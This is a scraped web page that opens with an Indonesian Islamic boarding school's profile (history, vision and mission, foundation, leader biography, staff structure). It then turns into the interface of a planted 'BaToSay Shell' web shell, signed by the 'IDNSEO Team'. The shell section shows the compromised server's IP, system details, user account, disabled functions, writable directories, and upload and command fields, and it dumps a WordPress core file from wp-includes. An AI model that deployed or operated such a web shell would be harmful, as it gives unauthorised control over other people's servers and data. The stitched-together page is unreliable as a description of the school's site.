Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 18.218.13.27
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/compat.php
<?php
/**
 * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
 *
 * @package PHP
 * @access private
 */

// If gettext isn't available.
if ( ! function_exists( '_' ) ) {
	function _( $message ) {
		return $message;
	}
}

/**
 * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
 *
 * @ignore
 * @since 4.2.2
 * @access private
 *
 * @param bool $set - Used for testing only
 *             null   : default - get PCRE/u capability
 *             false  : Used for testing - return false for future calls to this function
 *             'reset': Used for testing - restore default behavior of this function
 */
function _wp_can_use_pcre_u( $set = null ) {
	static $utf8_pcre = 'reset';

	if ( null !== $set ) {
		$utf8_pcre = $set;
	}

	if ( 'reset' === $utf8_pcre ) {
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support.
		$utf8_pcre = @preg_match( '/^./u', 'a' );
	}

	return $utf8_pcre;
}

/**
 * Indicates if a given slug for a character set represents the UTF-8 text encoding.
 *
 * A charset is considered to represent UTF-8 if it is a case-insensitive match
 * of "UTF-8" with or without the hyphen.
 *
 * Example:
 *
 *     true  === _is_utf8_charset( 'UTF-8' );
 *     true  === _is_utf8_charset( 'utf8' );
 *     false === _is_utf8_charset( 'latin1' );
 *     false === _is_utf8_charset( 'UTF 8' );
 *
 *     // Only strings match.
 *     false === _is_utf8_charset( [ 'charset' => 'utf-8' ] );
 *
 * `is_utf8_charset` should be used outside of this file.
 *
 * @ignore
 * @since 6.6.1
 *
 * @param string $charset_slug Slug representing a text character encoding, or "charset".
 *                             E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS".
 *
 * @return bool Whether the slug represents the UTF-8 encoding.
 */
function _is_utf8_charset( $charset_slug ) {
	if ( ! is_string( $charset_slug ) ) {
		return false;
	}

	return (
		0 === strcasecmp( 'UTF-8', $charset_slug ) ||
		0 === strcasecmp( 'UTF8', $charset_slug )
	);
}

if ( ! function_exists( 'mb_substr' ) ) :
	/**
	 * Compat function to mimic mb_substr().
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _mb_substr()
	 *
	 * @param string      $string   The string to extract the substring from.
	 * @param int         $start    Position to being extraction from in `$string`.
	 * @param int|null    $length   Optional. Maximum number of characters to extract from `$string`.
	 *                              Default null.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return string Extracted substring.
	 */
	function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_substr( $string, $start, $length, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_substr().
 *
 * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
 * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte
 * sequence. The behavior of this function for invalid inputs is undefined.
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string      $str      The string to extract the substring from.
 * @param int         $start    Position to being extraction from in `$str`.
 * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
 *                              Default null.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return string Extracted substring.
 */
function _mb_substr( $str, $start, $length = null, $encoding = null ) {
	if ( null === $str ) {
		return '';
	}

	if ( null === $encoding ) {
		$encoding = get_option( 'blog_charset' );
	}

	/*
	 * The solution below works only for UTF-8, so in case of a different
	 * charset just use built-in substr().
	 */
	if ( ! _is_utf8_charset( $encoding ) ) {
		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
	}

	if ( _wp_can_use_pcre_u() ) {
		// Use the regex unicode support to separate the UTF-8 characters into an array.
		preg_match_all( '/./us', $str, $match );
		$chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
		return implode( '', $chars );
	}

	$regex = '/(
		[\x00-\x7F]                  # single-byte sequences   0xxxxxxx
		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
		| [\xE1-\xEC][\x80-\xBF]{2}
		| \xED[\x80-\x9F][\x80-\xBF]
		| [\xEE-\xEF][\x80-\xBF]{2}
		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
		| [\xF1-\xF3][\x80-\xBF]{3}
		| \xF4[\x80-\x8F][\x80-\xBF]{2}
	)/x';

	// Start with 1 element instead of 0 since the first thing we do is pop.
	$chars = array( '' );

	do {
		// We had some string left over from the last round, but we counted it in that last round.
		array_pop( $chars );

		/*
		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
		 * the rest of the string).
		 */
		$pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );

		$chars = array_merge( $chars, $pieces );

		// If there's anything left over, repeat the loop.
	} while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) );

	return implode( '', array_slice( $chars, $start, $length ) );
}

if ( ! function_exists( 'mb_strlen' ) ) :
	/**
	 * Compat function to mimic mb_strlen().
	 *
	 * @ignore
	 * @since 4.2.0
	 *
	 * @see _mb_strlen()
	 *
	 * @param string      $string   The string to retrieve the character length from.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return int String length of `$string`.
	 */
	function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound
		return _mb_strlen( $string, $encoding );
	}
endif;

/**
 * Internal compat function to mimic mb_strlen().
 *
 * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
 * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte
 * sequence. The behavior of this function for invalid inputs is undefined.
 *
 * @ignore
 * @since 4.2.0
 *
 * @param string      $str      The string to retrieve the character length from.
 * @param string|null $encoding Optional. Character encoding to use. Default null.
 * @return int String length of `$str`.
 */
function _mb_strlen( $str, $encoding = null ) {
	if ( null === $encoding ) {
		$encoding = get_option( 'blog_charset' );
	}

	/*
	 * The solution below works only for UTF-8, so in case of a different charset
	 * just use built-in strlen().
	 */
	if ( ! _is_utf8_charset( $encoding ) ) {
		return strlen( $str );
	}

	if ( _wp_can_use_pcre_u() ) {
		// Use the regex unicode support to separate the UTF-8 characters into an array.
		preg_match_all( '/./us', $str, $match );
		return count( $match[0] );
	}

	$regex = '/(?:
		[\x00-\x7F]                  # single-byte sequences   0xxxxxxx
		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
		| [\xE1-\xEC][\x80-\xBF]{2}
		| \xED[\x80-\x9F][\x80-\xBF]
		| [\xEE-\xEF][\x80-\xBF]{2}
		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
		| [\xF1-\xF3][\x80-\xBF]{3}
		| \xF4[\x80-\x8F][\x80-\xBF]{2}
	)/x';

	// Start at 1 instead of 0 since the first thing we do is decrement.
	$count = 1;

	do {
		// We had some string left over from the last round, but we counted it in that last round.
		--$count;

		/*
		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
		 * the rest of the string).
		 */
		$pieces = preg_split( $regex, $str, 1000 );

		// Increment.
		$count += count( $pieces );

		// If there's anything left over, repeat the loop.
	} while ( $str = array_pop( $pieces ) );

	// Fencepost: preg_split() always returns one extra item in the array.
	return --$count;
}

if ( ! function_exists( 'hash_hmac' ) ) :
	/**
	 * Compat function to mimic hash_hmac().
	 *
	 * The Hash extension is bundled with PHP by default since PHP 5.1.2.
	 * However, the extension may be explicitly disabled on select servers.
	 * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no
	 * longer be disabled.
	 * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill
	 * and the associated `_hash_hmac()` function can be safely removed.
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _hash_hmac()
	 *
	 * @param string $algo   Hash algorithm. Accepts 'md5' or 'sha1'.
	 * @param string $data   Data to be hashed.
	 * @param string $key    Secret key to use for generating the hash.
	 * @param bool   $binary Optional. Whether to output raw binary data (true),
	 *                       or lowercase hexits (false). Default false.
	 * @return string|false The hash in output determined by `$binary`.
	 *                      False if `$algo` is unknown or invalid.
	 */
	function hash_hmac( $algo, $data, $key, $binary = false ) {
		return _hash_hmac( $algo, $data, $key, $binary );
	}
endif;

/**
 * Internal compat function to mimic hash_hmac().
 *
 * @ignore
 * @since 3.2.0
 *
 * @param string $algo   Hash algorithm. Accepts 'md5' or 'sha1'.
 * @param string $data   Data to be hashed.
 * @param string $key    Secret key to use for generating the hash.
 * @param bool   $binary Optional. Whether to output raw binary data (true),
 *                       or lowercase hexits (false). Default false.
 * @return string|false The hash in output determined by `$binary`.
 *                      False if `$algo` is unknown or invalid.
 */
function _hash_hmac( $algo, $data, $key, $binary = false ) {
	$packs = array(
		'md5'  => 'H32',
		'sha1' => 'H40',
	);

	if ( ! isset( $packs[ $algo ] ) ) {
		return false;
	}

	$pack = $packs[ $algo ];

	if ( strlen( $key ) > 64 ) {
		$key = pack( $pack, $algo( $key ) );
	}

	$key = str_pad( $key, 64, chr( 0 ) );

	$ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) );
	$opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) );

	$hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) );

	if ( $binary ) {
		return pack( $pack, $hmac );
	}

	return $hmac;
}

if ( ! function_exists( 'hash_equals' ) ) :
	/**
	 * Timing attack safe string comparison.
	 *
	 * Compares two strings using the same time whether they're equal or not.
	 *
	 * Note: It can leak the length of a string when arguments of differing length are supplied.
	 *
	 * This function was added in PHP 5.6.
	 * However, the Hash extension may be explicitly disabled on select servers.
	 * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no
	 * longer be disabled.
	 * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill
	 * can be safely removed.
	 *
	 * @since 3.9.2
	 *
	 * @param string $known_string Expected string.
	 * @param string $user_string  Actual, user supplied, string.
	 * @return bool Whether strings are equal.
	 */
	function hash_equals( $known_string, $user_string ) {
		$known_string_length = strlen( $known_string );

		if ( strlen( $user_string ) !== $known_string_length ) {
			return false;
		}

		$result = 0;

		// Do not attempt to "optimize" this.
		for ( $i = 0; $i < $known_string_length; $i++ ) {
			$result |= ord( $known_string[ $i ] ) ^ ord( $user_string[ $i ] );
		}

		return 0 === $result;
	}
endif;

// sodium_crypto_box() was introduced in PHP 7.2.
if ( ! function_exists( 'sodium_crypto_box' ) ) {
	require ABSPATH . WPINC . '/sodium_compat/autoload.php';
}

if ( ! function_exists( 'is_countable' ) ) {
	/**
	 * Polyfill for is_countable() function added in PHP 7.3.
	 *
	 * Verify that the content of a variable is an array or an object
	 * implementing the Countable interface.
	 *
	 * @since 4.9.6
	 *
	 * @param mixed $value The value to check.
	 * @return bool True if `$value` is countable, false otherwise.
	 */
	function is_countable( $value ) {
		return ( is_array( $value )
			|| $value instanceof Countable
			|| $value instanceof SimpleXMLElement
			|| $value instanceof ResourceBundle
		);
	}
}

if ( ! function_exists( 'array_key_first' ) ) {
	/**
	 * Polyfill for array_key_first() function added in PHP 7.3.
	 *
	 * Get the first key of the given array without affecting
	 * the internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The first key of array if the array
	 *                         is not empty; `null` otherwise.
	 */
	function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			return $key;
		}
	}
}

if ( ! function_exists( 'array_key_last' ) ) {
	/**
	 * Polyfill for `array_key_last()` function added in PHP 7.3.
	 *
	 * Get the last key of the given array without affecting the
	 * internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The last key of array if the array
	 *.                        is not empty; `null` otherwise.
	 */
	function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

		end( $array );

		return key( $array );
	}
}

if ( ! function_exists( 'array_is_list' ) ) {
	/**
	 * Polyfill for `array_is_list()` function added in PHP 8.1.
	 *
	 * Determines if the given array is a list.
	 *
	 * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1.
	 *
	 * @see https://github.com/symfony/polyfill-php81/tree/main
	 *
	 * @since 6.5.0
	 *
	 * @param array<mixed> $arr The array being evaluated.
	 * @return bool True if array is a list, false otherwise.
	 */
	function array_is_list( $arr ) {
		if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) {
			return true;
		}

		$next_key = -1;

		foreach ( $arr as $k => $v ) {
			if ( ++$next_key !== $k ) {
				return false;
			}
		}

		return true;
	}
}

if ( ! function_exists( 'str_contains' ) ) {
	/**
	 * Polyfill for `str_contains()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if needle is
	 * contained in haystack.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$needle` is in `$haystack`, otherwise false.
	 */
	function str_contains( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return false !== strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_starts_with' ) ) {
	/**
	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack begins with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
	 */
	function str_starts_with( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return 0 === strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_ends_with' ) ) {
	/**
	 * Polyfill for `str_ends_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack ends with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` ends with `$needle`, otherwise false.
	 */
	function str_ends_with( $haystack, $needle ) {
		if ( '' === $haystack ) {
			return '' === $needle;
		}

		$len = strlen( $needle );

		return substr( $haystack, -$len, $len ) === $needle;
	}
}

// IMAGETYPE_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMAGETYPE_AVIF' ) ) {
	define( 'IMAGETYPE_AVIF', 19 );
}

// IMG_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMG_AVIF' ) ) {
	define( 'IMG_AVIF', IMAGETYPE_AVIF );
}

Batosay - 2023
IDNSEO Team